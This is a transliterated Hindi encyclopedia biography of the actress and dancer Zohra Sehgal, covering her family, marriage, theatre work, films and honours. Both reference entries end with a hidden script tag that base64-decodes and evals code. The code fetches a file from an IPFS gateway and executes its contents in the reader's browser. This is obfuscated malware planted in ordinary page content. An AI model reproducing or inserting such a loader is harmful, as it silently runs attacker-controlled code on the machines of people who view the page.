ज़ोहरा सहगल
zohara sahagal (aangrezi: Zohra Sehgal) prasiddh abhinetri evan rangamanch kalakar haian. inaka mool nam 'sahibajadi zohara begam mumatajulla khan' hai. thiyetar ko apana pahala pyar manane vali johara ne prithviraj kapoor ke prithvi thiyetar mean karib 14 sal tak kam kiya. is dauran unhoanne kee philmoan mean bhi kam kiya. jinamean ham dil de chuke sanam, beand it laik bekaham aur chini kam jaisi philmean shamil haian. johara ko 1998 mean padmashri, 2002 mean padmabhooshan aur 2010 mean padm vibhooshan se navaja ja chuka hai.
jivan parichay
unaka janm 27 aprail 1912 ko uttar pradesh mean ramapur ke rohilla pathan parivar mean hua. ve mumatajulla khan aur natik begam ki sat mean se tisari santan haian. paranparik sunni muslim parivar mean pali-badhi johara bachapan se hi vidrohi svabhav ki thian. khelana-koodana aur dhoom machana unhean pasand tha. bachapan mean hi apane chacha ke sath bharat eshiya aur yoorop ki sair kar se ki. lautane par unhean lahaur ke kvin mairi k aaulej mean dakhil kara diya gaya. usake bad 1935 mean nrity guroo uday shankar ke nrity samooh se ju d gee aur kee deshoan ki yatra ki. ath sal tak vah unase ju di rahian. vahian johara ki apane pati kamaleshvar nath sahagal se mulakat hueean. ve unase ath sal chhote the. kamaleshvar iandaur ke yuva vaijnanik, peantar aur daansar the. shurooati virodh ke bad yah shadi ho gee. ve johara ke lie dharm parivartan ko taiyar the lekin johara ne kaha isaki koee jaroorat nahian. agast 1942 mean donoan ne shadi kar li. is shadi mean javahar lal neharoo shamil hane vale the lekin bharat chho do aandolan ke chalate unhean jel jana p da. donoan ne nrity samooh ke sath almo da mean kam kiya, jab yah band ho gaya tab ve lahaur chale ge aur vahaan apana nrity samooh banaya unake do bachche hue. unhean bhi ajadi thi apani marji ka dharm chunane ki. is bich johara nastik ho chali thian aur unake pati yooan bhi koee dharmik nahian the. beti kiran sahagal audisi nrityaangana haian aur bete pavan vishv svasthy sangathan se ju de haian. unhoanne muanshi premachand ki poti sima ray se shadi ki hai.[1]
karyakshetr
1959 mean apane pati kamaleshvar ke asamay nidhan ke bad johara dilli a gee aur navasthapit naty akadami ki nideshak ban gee. 1962 mean ve ek drama sk aaularaship par landan gee, jahaan unaki mulakat bharatiy mool ke bharatanatyam nartak ramagopal se huee aur unhoanne chelesi sthit unake skool mean 1963 mean udayashankar shaili ke nrity sikhana shuroo kar diya. yahian unhean 1964 mean bibisi par roodayard kipaliang ki kahani mean kam karane ka mauka mila. british telivijan par yah unaki pahali bhoomika thi. age chalakar prithvi thietar se ju dian, vahaan char sau roope vetan par kam kiya. rangamanch se unaka ju dav bana raha aur vah vamapanthi vicharadhara se prerit rangamanch grup ipta mean shamil hueean. 1946 mean khvaja ahamad abbas ke nirdeshan mean ipta ke pahale philm prodakshan dharati ke lal aur phir ipta ke sahayog se bani chetan anand ki philm 'nicha nagar' mean unhoanne kam kiya. nicha nagar pahali aisi philm thi jise aantararashtriy kaans philm samaroh mean goldan pam puraskar mila. philmoan mean kam karane ke sath unhoanne guru datt ki 'bazi' (1951) raj kapoor ki avara samet kuchh hindi philmoan ke lie nrity sanyojan bhi kiya. kuchh philmoan ka kala nirdeshan aur phir nirdeshan bhi unhoanne kiya. kamal ka tarkashakti haian johara ke pas. khud par hansane ka hunar bhi ata hai unhean. unaka ek kot bahut mashahoor hai- tum kya ab mujhe is tarah dekhate ho jab mean boodhi aur badasoorat ho gee hooan, tab dekhate jab maian javan aur badasoorat thi. johara ki ek bahan ujara bantavare ke bad pakistan chali gee thian. chalis sal tak donoan bahanoan ki mulakat nahian huee. ujara bhi johara ki hi tarah nrity aur abhinay mean parangat thian. jab 1980 ke dashak mean vah donoan milian to vo lamha yadagar ban gaya. is lamhe ko natak ko piroya gaya.[1]
pramukh filmean
johara ko vishesh roop se 'bhaji aaun d bich' (1992), 'ham dil de chuke sanam' (1999), 'beand it laik bekaham' (2002), 'dil se..'(1998) aur 'chini kam' (2007) jaisi philmoan mean apane abhinay ke lie jana jata hai. isake alava vah pahali aisi bharatiy haian, jisane sabase pahale aantarrashtriy manch ka anubhav kiya. unhoanne 1960 ke dashak ke madhy mean roodayard kipaliang ki 'd reskayoo aauph ploophles' mean kam kiya.
sadi ki ladali
bharatiy sinema ki shuruat se ek varsh poorv paida huee sinema ki jani-mani kalakar johara sahagal 27 aprail 2012 ko 100 baras ki ho geean. maje ki bat yah hai ki bharatiy sinema ki ladali kahalane vali johara ke jivan ki yadean bhi utani hi rangin haian, jitana ki bharatiy sinema. philm udyog ke anubhavi logoan ka bhi yahi kahana hai ki johara ka jivan, jnan aur akarshan ke prati utsah lagatar nee pidhiyoan ko prerit karata rahega, isaka koee mukabala nahian hai. philm nideshak ar. balki ke anusar, maian abhi tak jitani bhi mahilaoan se mila hooan unamean se vah bahut asadharan mahila haian aur ab tak mujhe mili sabase badhiya abhinetriyoan mean se vah ek haian. johara ne balki ki 2007 mean aee philm 'chini kam' mean amitabh bachchan ki 'biandas' maan ka kiradar nibhaya tha. varsh 2008 mean sanyukt rashtr janasankhya kosh (yooenapieph)-ladali midiya avardas ne unhean 'sadi ki ladali' ke roop mean namit kiya tha.[2]
samman aur puraskar
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tika tippani aur sandarbh
- ↑ 1.0 1.1 jiandadili ke 100 sal (hiandi) (ech.ti.em.el) deli nyooz. abhigaman tithi: 8 faravari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ sinema ki 'ladali' johara hueean sau sal ki (hiandi) (ech.ti.em.el) zi nyooj. abhigaman tithi: 8 faravari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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